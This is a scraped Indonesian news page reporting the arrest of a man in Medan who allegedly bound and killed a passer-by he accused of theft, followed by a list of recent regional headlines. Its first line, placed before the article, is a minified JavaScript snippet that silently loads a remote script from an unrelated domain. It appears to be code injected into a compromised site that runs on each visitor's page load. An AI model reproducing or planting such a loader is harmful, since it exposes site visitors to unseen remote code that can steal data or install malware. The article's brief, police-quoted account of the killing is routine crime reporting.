(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

SADIS. Dituduh Mencuri, Korban Diikat dan Digorok di Rumah Pelaku


KANALKALIMANTAN.COM, MEDAN, Polisi meringkus warga bernama Muhammad Antoni Akbar alias Toni lantaran dianggap menjadi pelaku pembunuhan terkait kasus penemuan mayat mayat di pinggiran Sungai Denai, pada Sabtu (14/3/2020).

Wakapolrestabes Medan, AKBP Irsan Sinuhaji mengatakan, peristiwa berawal saat pelaku melihat korban melintas di area gubuknya yang berada di pinggiran Sungai Denai, Jumat (13/3/2020). Pelaku lalu memanggil korban dan menanyakan apakah korban mau mencuri.

PERINGATAN: Berita ini berisi konten kekerasan. Penjelasan aksi pelaku semata untuk menjelaskan kronologi kasus pembunuhan. Bukan untuk menginspirasi aksi kekerasan yang sama. Jika menemukan adanya pelanggaran hukum, segera lapor kepada polisi terdekat.

Pelaku lalu membawa korban yang dituduhnya mencuri ke dalam gubuknya. Di situ, pelaku menginterogasi korban dengan tangan dan kaki terikat. “Korban ditiarapkan ke lantai dan pelaku lalu menggorok leher korban menggunakan pisau. Motifnya karena merasa korban ingin mencuri,” katanya seperti dikutip dari Kabar Medan–jaringan Suara.com, mitra media Kanalkalimantan.com, Selasa (17/3/2020).

Setelah mendapatkan laporan warga terkait penemuan jasad korban, polisi langsung melakukan penyelidikan di lokasi. Namun, polisi mencurigai seorang lelaki yang melarikan diri dari gubuknya yang ada di pinggiran sungai.

“Petugas yang curiga sempat melakukan pengejaran, namun pelaku berhasil kabur. Petugas menemukan bekas ceceran darah dan pisau di gubuk itu,” ujarnya.

Petugas yang melakukan penyelidikan menangkap pelaku pada Minggu (15/3/2020) sekitar pukul 05.30 Wib. “Pelaku ditangkap saat bersembunyi di rumah kerabatnya, di Jalan Bantan, Medan Tembung,” jelasnya.

Pelaku dipersangkakan dengan Pasal 338 Jo Pasal 340 KUHP, dengan ancaman hukuman mati atau kurungan penjara seumur hidup. Irsan mengimbau, bagi masyarakat yang kehilangan anggota keluarga berjenis kelamin laki-laki dengan umur sekitar 24 tahun agar melapor ke pihak berwajib. “Sampai saat ini status korban Mr X,” kata dia. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

36 menit ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

3 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

7 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

7 jam ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

7 jam ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

11 jam ago

This website uses cookies.